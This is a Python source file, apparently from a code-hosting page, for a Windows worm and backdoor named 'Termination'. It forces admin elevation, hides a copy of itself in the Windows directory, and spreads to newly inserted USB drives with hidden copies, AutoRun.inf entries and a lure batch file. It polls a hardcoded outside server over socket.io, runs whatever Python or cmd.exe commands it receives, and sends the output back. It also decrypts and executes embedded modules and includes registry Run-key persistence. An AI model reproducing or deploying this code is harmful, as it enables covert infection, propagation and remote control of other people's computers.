Files
2026-07-28 03:15:28 +08:00

608 lines
23 KiB
Python

class sys():
from sys import argv, platform, executable, exit as exit
class os():
from os import path, getenv, mkdir, getlogin, listdir, _exit, getpid, getppid, remove, popen, chmod
class traceback():
from traceback import format_exc
class ctypes():
from ctypes import POINTER, c_ulong, c_char_p, c_int, c_void_p, windll, sizeof, Structure, byref, WinError
class wintypes():
from ctypes.wintypes import HANDLE, BOOL, DWORD, HWND, HINSTANCE, HKEY
class winreg():
from winreg import OpenKey, HKEY_LOCAL_MACHINE, HKEY_CURRENT_USER, HKEY_USERS, SetValueEx, REG_SZ, CloseKey, DeleteKey, KEY_SET_VALUE, KEY_ALL_ACCESS,KEY_WRITE,KEY_CREATE_SUB_KEY
class win32api():
from win32api import SetFileAttributes
class requests():
from requests import post, get
class subprocess():
from subprocess import list2cmdline, Popen, PIPE, STDOUT
class time():
from time import localtime, strftime, sleep
class socket():
from socket import gethostname
class threading():
from threading import Thread
class keyboard():
from keyboard import wait
class hashlib():
from hashlib import md5
class uuid():
from uuid import UUID, uuid1, uuid3, NAMESPACE_DNS
class random():
from random import randint
class shutil():
from shutil import copy
class re():
from re import match, compile
class psutil():
from psutil import pid_exists, Process, disk_partitions
def GUUID():return str(uuid.uuid3(uuid.NAMESPACE_DNS, str(random.randint(0, 10000000000000000000))))
class socketio():
from socketio import Client
class atexit():
from atexit import register
class json():
from json import loads, dumps
class pickle():
from pickle import dumps, loads
class base64():
from base64 import b64encode, b64decode
class copy():
from copy import deepcopy, copy
class platform():
from platform import node
class tkinter():
from tkinter import Tk
class messagebox():
from tkinter.messagebox import showinfo, showerror, showwarning
class ShellExecuteInfo(ctypes.Structure):
_fields_ = [
('cbSize', ctypes.wintypes.DWORD),
('fMask', ctypes.c_ulong),
('hwnd', ctypes.wintypes.HWND),
('lpVerb', ctypes.c_char_p),
('lpFile', ctypes.c_char_p),
('lpParameters', ctypes.c_char_p),
('lpDirectory', ctypes.c_char_p),
('nShow', ctypes.c_int),
('hInstApp', ctypes.wintypes.HINSTANCE),
('lpIDList', ctypes.c_void_p),
('lpClass', ctypes.c_char_p),
('hKeyClass', ctypes.wintypes.HKEY),
('dwHotKey', ctypes.wintypes.DWORD),
('hIcon', ctypes.wintypes.HANDLE),
('hProcess', ctypes.wintypes.HANDLE)]
def __init__(self, **kw):
super(ShellExecuteInfo, self).__init__()
self.cbSize = ctypes.sizeof(self)
for field_name, field_value in kw.items():
setattr(self, field_name, field_value)
ShellExecuteEx = ctypes.windll.shell32.ShellExecuteExA
ShellExecuteEx.argtypes = (ctypes.POINTER(ShellExecuteInfo), )
ShellExecuteEx.restype = ctypes.wintypes.BOOL
WaitForSingleObject = ctypes.windll.kernel32.WaitForSingleObject
WaitForSingleObject.argtypes = (ctypes.wintypes.HANDLE, ctypes.wintypes.DWORD)
WaitForSingleObject.restype = ctypes.wintypes.DWORD
CloseHandle = ctypes.windll.kernel32.CloseHandle
CloseHandle.argtypes = (ctypes.wintypes.HANDLE, )
CloseHandle.restype = ctypes.wintypes.BOOL
def elevate(show_console=True, graphical=True, argv=sys.argv):
if ctypes.windll.shell32.IsUserAnAdmin():
return
params = ShellExecuteInfo(
fMask=32832,
hwnd=None,
lpVerb=b'runas',
lpFile=sys.executable.encode('UTF-8'),
lpParameters=subprocess.list2cmdline(argv).encode('UTF-8'),
nShow=int(show_console))
if not ShellExecuteEx(ctypes.byref(params)):
raise ctypes.WinError()
handle = params.hProcess
ret = ctypes.wintypes.DWORD()
WaitForSingleObject(handle, -1)
if ctypes.windll.kernel32.GetExitCodeProcess(handle, ctypes.byref(ret)) == 0:
raise ctypes.WinError()
CloseHandle(handle)
sys.exit(ret.value)
def asyncs(f):
def wrapper(*args, **kwargs):
thr = threading.Thread(target = f, args = args, kwargs = kwargs)
thr.start()
return wrapper
class FIO():
def openw(self, file, write, mode:int=1, encoding="UTF-8"):
if mode == 1:
with open(file, "w", encoding=encoding) as f:
f.write(write)
elif mode == 2:
with open(file, "wb") as f:
f.write(write)
def opena(self, file, write, mode:int=1, encoding="UTF-8"):
if mode == 1:
with open(file, "a", encoding=encoding) as f:
f.write(write)
elif mode == 2:
with open(file, "ab") as f:
f.write(write)
def openr(self, file, mode:int=1, encoding="UTF-8"):
if mode == 1:
with open(file, "r", encoding=encoding) as f:
read = f.read()
elif mode == 2:
with open(file, "rb") as f:
read = f.read()
return read
FIO=FIO()
class LockMe():
def __init__(self, id, exe):
self.EXEMD5=self.GetFileMD5(exe)
self.exe=exe
self.id=id
self.temp=os.getenv("temp")
self.SetLockFile()
def SetLockFile(self):
self.LockName=f"Lock_{self.id}_[{os.getpid()}].lock"
self.LockReName=f"Lock_{self.id}_"+r"\[(\d+)\].lock"
self.LockNameReF=r'\[(\d+)\]'
self.LockFile=os.path.join(self.temp, self.LockName)
self.f=[]
def SearchLockFile(self):
res=self.SearchList(os.listdir(self.temp), self.LockReName)
return res
def SearchList(self, lst, mat):
result = []
for s in lst:
if (_ := re.match(mat, s)):
result.append(_.group(1))
return result
def WriteLockFile(self, file: str):
f=open(file, "w", encoding="UTF-8")
f.write(str(os.getpid()))
self.f.append(f)
def lock(self):
#for i in os.listdir(self.temp):
# if os.path.isfile(os.path.join(self.temp, i)):
# try:
# os.remove(os.path.join(self.temp, i))
# except:
# pass
E=0
SLF=self.SearchLockFile()
print("SLF", SLF)
for i in SLF:
print(i)
if psutil.pid_exists(int(i)):
print("PSUTIL OVER")
os._exit(0)
else:
try:
os.remove(os.path.join(self.temp, self.LockReName.replace(self.LockNameReF, f"[{i}]")))
except:
print("DEL E:", os.path.join(self.temp, self.LockReName.replace(self.LockNameReF, f"[{i}]")))
try:
self.WriteLockFile(self.LockFile)
except:
try:
self.LockFile=self.LockFile.replace(self.LockNameReF, GUUID())
self.WriteLockFile(self.LockFile.replace(self.LockNameReF, GUUID()))
except:
print("LOCK ERROR, BUT WE DON'T KILL SELF, HAHAHA.")
E=1
if E == 0:
atexit.register(lambda: self.AtExitRemoveFile(self.LockFile))
def AtExitRemoveFile(self, File):
try:
for i in self.f:
i.close()
os.remove(File)
except:
print("666, FUCK, del e:", traceback.format_exc())
def GetFileMD5(self, file_name):
m = hashlib.md5()
with open(file_name,'rb') as fobj:
while True:
data = fobj.read(4096)
if not data:
break
m.update(data)
return m.hexdigest()
class Popen():
def __init__(self, cmd_line, stdout=subprocess.PIPE, stderr=subprocess.PIPE):
self.process=subprocess.Popen(cmd_line, stdout=stdout, stderr=stderr)
class GodKeys():
def __init__(self):
self.KEY="""'QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm1234567890-+="""
def _SecretKeyEncryption(self, s: str):
return self._e(s)
def _SecretKeyDecryption(self, s: bytes):
return self._d(s)
def encrypt(self, s: str):
return self._SecretKeyEncryption(self.Bytes2Base64(pickle.dumps(s)))
def decrypt(self, s: bytes):
return pickle.loads(self.Base642Bytes(self._SecretKeyDecryption(s)))
def Bytes2Base64(self, s):
return base64.b64encode(s)
def Base642Bytes(self, b):
return base64.b64decode(b)
def _RH(self, hex_str):
return ''.join([hex_str[(i + 3) % len(hex_str)] for i in range(len(hex_str))])
def _SH(self, rearranged_hex):
return ''.join([rearranged_hex[(i - 3) % len(rearranged_hex)] for i in range(len(rearranged_hex))])
def _e(self, bytes_data):
hex_data = bytes_data.hex()
reversed_hex = self._RH(hex_data[::-1])[::-1]
return bytes.fromhex(reversed_hex)
def _d(self, encrypted_bytes):
hex_data = encrypted_bytes.hex()
reversed_hex = self._SH(hex_data[::-1])[::-1]
return bytes.fromhex(reversed_hex)
class AppRun():
def __init__(self, Termination, NetworkProcess):
self.Tasks={}
self.Termination=Termination
self.send=NetworkProcess.send
@asyncs
def _get(self, s):
if "PID" in s:
if s["PID"] == 0:
if s["USE"].lower() == "python":
ENV=globals()
exec(s["Code"],ENV)
if s["USE"].lower() == "cmd":
p = subprocess.Popen("cmd.exe /c "+s["Code"], shell=False, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
result = []
while p.poll() is None:
line = p.stdout.readline().strip()
if line:
try:
line=line.decode('UTF-8')
except UnicodeDecodeError:
line=line.decode('GB18030')
result.append(line)
self.send("/TApi/Return.api", {"PID": s["NEEDPID"], "RETURN": line})
if p.returncode == 0:
self.send("/TApi/Return.api", {"PID": s["NEEDPID"], "TYPE": "SUCESS"})
else:
self.send("/TApi/Return.api", {"PID": s["NEEDPID"], "TYPE": "FAILED"})
else:
pass
else:
pass
class NetworkProcessings():
def __init__(self, Termination):
self.headers = {'User-Agent':'Termination/4.0 (Termination4)'}
self.mac = uuid.uuid1().hex[-12:].upper()
self.Termination=Termination
self.url=self.Termination.url
self.sio, self.j=self.Try_To_System(self.url+"/host.json")
self.AppRun=AppRun(self.Termination, self)
def Polling(self):
self.Connect()
@self.sio.on(f"{self.j["NetWork"]["Dir"]}{self.j["NetWork"]["CommandSend"]}")
def CommandSend(msg):
print(msg)
if "MAC" in msg and (msg["MAC"] == self.mac or msg["MAC"] == "ALL"):
self.AppRun._get(msg)
@self.sio.event
def disconnect():
self.sio, self.j=self.Try_To_System(self.url+"/host.json")
self.Connect()
def Connect(self):
print("Connect")
self.send((f"{self.j["NetWork"]["Dir"]}{self.j["NetWork"]["Command"]}"), {"PID": 1, "MAC": self.mac, "Name": platform.node()})
def send(self, route, sth):
self.sio.emit(route, sth)
def Post(self, url, data) -> str:
response = requests.post(url,data=data,headers=self.headers)
return response
def Get(self, url) -> str:
response = requests.get(url,headers=self.headers)
return response
def Wait_System(self, url, sleep=1):
while True:
c=self.Wait_Web(url)
print("WSC: ", c)
try:
c2=self.Get(c["Host"]+c["NetWork"]["Dir"]+c["NetWork"]["Test"])
except Exception as e:
print("WSE", e)
else:
if c2.status_code == 200:
if c2.text == "OK":
return c
else:
print("WS: C NOT OK C:", c2.text)
time.sleep(sleep)
def Wait_Web(self, url, sleep=1):
while True:
try:
c = self.Get(url)
print("WWC: ", c)
except Exception as e:
print("WWE", e)
else:
if c.status_code == 200:
try:
_=json.loads(c.text)
if "CanConnect" in _ and _["CanConnect"] == True and "Host" in _:
return _
else:
print("WW: if e", _)
except:
print("WWE: JSON")
time.sleep(sleep)
def Try_To_System(self, url, sleep=1):
while True:
c=self.Wait_System(url, sleep)
try:
self.sio=socketio.Client()
self.sio.connect(c["Host"])
except:
pass
else:
return self.sio, c
time.sleep(sleep)
class InFect():
def __init__(self):
self.Flan=True
self.SleepTime=5
self.Name="Termination"
self.disks=self.GetDisks()
print("InFect: disks:", self.disks)
@asyncs
def start(self):
while self.Flan:
d=list(set(self.GetDisks())-set(self.disks))
print("InFect D: ", d)
for i in d:
self.infect(i)
self.disks=self.GetDisks()
print("InFect: disks:", self.disks)
time.sleep(5)
def infect(self, disk):
try:
print("InFect: ", disk)
if not os.path.isdir(disk):
return
WorkPath=os.path.join(disk, "."+self.Name)
if not os.path.isdir(WorkPath):
os.mkdir(WorkPath)
self.HideFile(WorkPath)
shutil.copy(sys.executable, os.path.join(WorkPath, self.Name+".exe"))
try:
os.chmod(os.path.join(WorkPath, "AuToRun.inf"), 0o666)
FIO.openw(os.path.join(WorkPath, "AuToRun.inf"), f"[AutoRun]\nopen={os.path.join(WorkPath, self.Name+".exe")}")
self.HideFile(os.path.join(WorkPath, "AuToRun.inf"))
except:
pass
try:
FIO.openw(os.path.join(WorkPath, "U盘驱动,必装!!!.bat"),rf"@echo off\n")
except:
pass
except:
print(traceback.format_exc())
return
def stop(self):
self.Flan=False
def GetDisks(self):
d=[]
for i in psutil.disk_partitions():
d.append(i.device)
return d
def HideFile(self, path):
win32api.SetFileAttributes(path, 6)
class Module():
def __init__(self):
self.Tasks={}
def Run(self):
try:
if self.IsRun_Py():
self.file=FIO.openr("./WITH", 2)
else:
self.file=FIO.openr(self.GetExeFile(), 2)
self.BOOT=self.GetBOOT()
for i in self.BOOT["StartUp"]:
self.RunModule(i, self.BOOT["StartUp"][i])
except:
print(traceback.format_exc())
os._exit(0)
def RunModule(self, i, mod):
if self.IsRun_Py():
print(666,"INPYTHON")
ENV=copy.copy(globals())
ENV["Termination"]=self.Termination
ENV["PyTasks"]=self.Tasks
self.Tasks[i]={"Name":i,"Code":self.GodKey.decrypt(self.GetKey(i)),"ENV":ENV}
if "Run" in mod:
for r in mod["Run"]:
exec(f"{r}={r}({"".join(list(map(lambda x:f"{x}={mod["Run"][r][x]},",mod["Run"][r])))})", self.Tasks[i]["ENV"])
else:
try:
ENV=copy.copy(globals())
ENV["Termination"]=self.Termination
ENV["PyTasks"]=self.Tasks
self.Tasks[i]={"Name":i,"Code":self.GodKey.decrypt(self.GetKey(i)),"ENV":ENV}
exec(self.Tasks[i]["Code"], self.Tasks[i]["ENV"])
if "Run" in mod:
for r in mod["Run"]:
exec(f"{r}={r}({"".join(list(map(lambda x:f"{x}={mod["Run"][r][x]},",mod["Run"][r])))})", self.Tasks[i]["ENV"])
for _ in mod["Globals"]:
exec(f"{_}={self.Tasks[i]["ENV"][_]}",globals())
except:
print(traceback.format_exc())
def GetKey(self, key, encoding="UTF-8"):
_=self._Search(b"START"+bytes(key, encoding=encoding), b"END"+bytes(key, encoding=encoding), self.file)
if _:
_=self.GodKey.decrypt(_)
return _
else:
return False
def GetBOOT(self):
return json.loads(self.GetKey("BOOT"))
def _Search(self, s, e, b):
m = re.compile(s+rb"(.*)"+e).search(b)
if not m:
return False
return m.group(1)
def Set(self, Termination):
self.Termination=Termination
self.IsRun_Exe, self.IsRun_Py, self.GetExeFile, self.GodKey=self.Termination.IsRun_Exe, self.Termination.IsRun_Py, self.Termination.GetExeFile, self.Termination.GodKey
class Termination():
def __init__(self) -> None:
self.InIt_Admin(0)
self.InIt_Value()
self.lock.lock()
self.CopyToSystem()
self.InIt_InFect()
#self.InItAddToStartUp()
self.SetRun()
while True:
time.sleep(60)
def InIt_Value(self) -> None:
self.author=None
self.release=None
self.app_name="Termination"
self.version="4.0.0"
self.testversion="beta"
self.url="http://wytyh.space3v.work"
self.socket_url=""
self.lock_id=self.app_name
self.lock=LockMe(self.lock_id, self.GetExeFile())
self.GodKey=GodKeys()
self.WorkPath=self.GetNeedDir()
self.PYREXE=["python.exe", "pythonw.exe"]
self.PYTRUN=["py", "pyw"]
self.EXERUN=["exe"]
def InIt_InFect(self) -> None:
self.InFect=InFect()
self.InFect.start()
@asyncs
def SetRun(self) -> None:
self.Module=Module()
self.Module.Set(self)
self.Module.Run()
self.NetWorkProcess=NetworkProcessings(self)
self.NetWorkProcess.Polling()
def InItAddToStartUp(self):
self.AddStartUp(f"{self.app_name}{self.version}", self.GetExeFile())
def InIt_Admin(self, show_console:bool=True, graphical:bool=True, argv=sys.argv):
elevate(show_console, graphical, argv)
def CopyToSystem(self) -> None:
if not os.path.isdir(self.WorkPath):
try:
os.mkdir(self.WorkPath)
self.HideFile(self.WorkPath)
except Exception as e:
self.Try(e)
if os.path.abspath(self.GetExeDir()) != os.path.abspath(self.WorkPath):
try:
shutil.copy(self.GetExeFile(), self.WorkPath)
except:
self.Try(e)
ne=os.path.join(self.WorkPath, self.GetExeName())
if self.GetExeSuffix() in self.PYTRUN or self.GetExeName() in self.PYREXE:
pass
else:
if self.GetExeSuffix() in self.EXERUN:
Popen([ne])
print("THE END")
os._exit(0)
print("IT IN WORKPATH")
def Is_In_System(self) -> bool:
return os.path.abspath(self.GetExeDir()) == os.path.abspath(self.WorkPath)
def Try(self) -> None:
args=self.GetArgs()
TryNum=0
if "TryNum" in args and type((args["TryNum"])) == int:
TryNum=args["TryNum"]
pass#这里应该让杀手(killer.py)检查一下尸体和现场
argv=sys.argv
if TryNum != 0:
argv.remove(f"TryNum={TryNum}")
argv.append(f"TryNum={TryNum+1}")
self.InIt_Admin(0, argv=argv)
def RunExcept(self,e) -> None:
ec=traceback.format_exc()
print(e, ec)
def GetArgs(self):
_=sys.argv
if _ > 1: _=_[1:]
res={}
for i in _:
if i.count("="):
_i=i.split("=")
ins=_i[0]
if _i[0].lstrip():
ins=int(_i[0])
res[_i[0]]=ins
continue
res[i]=0
def GetNeedDir(self) -> str:
return os.path.join(os.getenv("windir"),".Termination")
def GetExeDir(self) -> str:
return os.path.dirname(self.GetExeFile())
def GetExeName(self) -> str:
return os.path.basename(self.GetExeFile())
def GetExeSuffix(self, lower: bool=True) -> str:
_=self.GetExeName().split(".")[-1]
if lower == True: return _.lower()
return _
def IsRun_Py(self):
return self.GetExeSuffix() in self.PYTRUN or self.GetExeName() in self.PYREXE
def IsRun_Exe(self):
return self.GetExeSuffix() in self.EXERUN
def GetExeFile(self) -> str:
return sys.executable
def TimeFormat(self, s="%Y-%m-%d-%H-%M-%S",end=""):
return time.strftime(s+end, time.localtime())
def Is_Admin():
return ctypes.windll.shell32.IsUserAnAdmin()
def GetKeysRun(self):
A = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, r"Software\Microsoft\Windows\CurrentVersion\Run", winreg.KEY_SET_VALUE, winreg.KEY_ALL_ACCESS|winreg.KEY_WRITE|winreg.KEY_CREATE_SUB_KEY)
B = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, r"SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run", winreg.KEY_SET_VALUE, winreg.KEY_ALL_ACCESS|winreg.KEY_WRITE|winreg.KEY_CREATE_SUB_KEY)
C = winreg.OpenKey(winreg.HKEY_CURRENT_USER, r"Software\Microsoft\Windows\CurrentVersion\Run", winreg.KEY_SET_VALUE, winreg.KEY_ALL_ACCESS|winreg.KEY_WRITE|winreg.KEY_CREATE_SUB_KEY)
D = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, r"SYSTEM\CurrentControlSet\Control\Session Manager", winreg.KEY_SET_VALUE, winreg.KEY_ALL_ACCESS|winreg.KEY_WRITE|winreg.KEY_CREATE_SUB_KEY)
return A, B, C, D
def SetKeys(self, value_name, reserved, type, value, *key):
for i in key:
winreg.SetValueEx(i, value_name, reserved, type, value)
def DelKeys(self, value_name, *key):
for i in key:
winreg.DeleteKey(i, value_name)
def CloseKeys(self, *key):
for i in key:
winreg.CloseKey(i)
def AddStartUp(self, Name, FilePath=""):
if FilePath == "": FilePath = self.GetExeFile()
A, B, C, D = self.GetKeysRun()
self.SetKeys(Name, 0, winreg.REG_SZ, FilePath, A, B, C, D)
self.CloseKeys(A, B, C, D)
def UninstallStartUp(self, Name):
A, B, C, D = self.GetRun()
self.DelKeys(Name, A, B, C, D)
self.CloseKeys(A, B, C, D)
def GetFileAttributes(self, FilePath):
return ctypes.windll.kernel32.GetFileAttributesW(FilePath)
def HideFile(self, path):
win32api.SetFileAttributes(path, 6)
if __name__ == "__main__":
Termination()